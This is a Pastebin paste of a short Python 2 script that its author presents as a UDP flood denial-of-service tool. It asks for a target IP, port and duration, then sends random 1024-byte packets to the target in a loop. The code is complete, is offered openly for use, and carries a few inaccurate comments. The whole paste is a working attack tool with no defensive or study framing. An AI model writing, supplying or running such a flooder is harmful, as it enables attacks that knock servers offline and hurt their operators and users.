Advertisement
GR1Mr3ap3r

Untitled

Jun 23rd, 2017
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. #This is my UDP Flooder.
  2. #Coded in Python.
  3. #This is a 'Dos' attack program to attack servers, you set the IP and the port and the amount of seconds and it will start flooding to that server ^_^
  4. import time
  5. import socket
  6. import random
  7.  
  8. credits = (
  9. 'UDP Flood'
  10. 'c0d3r: Thedabosk189- [NetArrivals] Team'
  11. )
  12. client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) #okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program
  13. bytes = random._urandom(1024) # 1024 representes one byte to the server
  14.  
  15. def pres(): #def would be the same as void in C but in python we say def
  16. global credits
  17. print credits
  18. pres()
  19. victim = raw_input('Target > (Enter ip)')
  20. vport = input('Port >')
  21. duration = input('Time > (Seconds)')
  22. timeout = time.time() + duration
  23. sent = 0
  24.  
  25. while 1:
  26. if time.time() > timeout:
  27. break
  28. else:
  29. pass
  30. client.sendto(bytes, (victim, vport))
  31. sent = sent + 1
  32. print "Attacking %s sent packages %s at the port %s "%(sent, victim, vport)
  33.  
  34. Enjoy =D
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement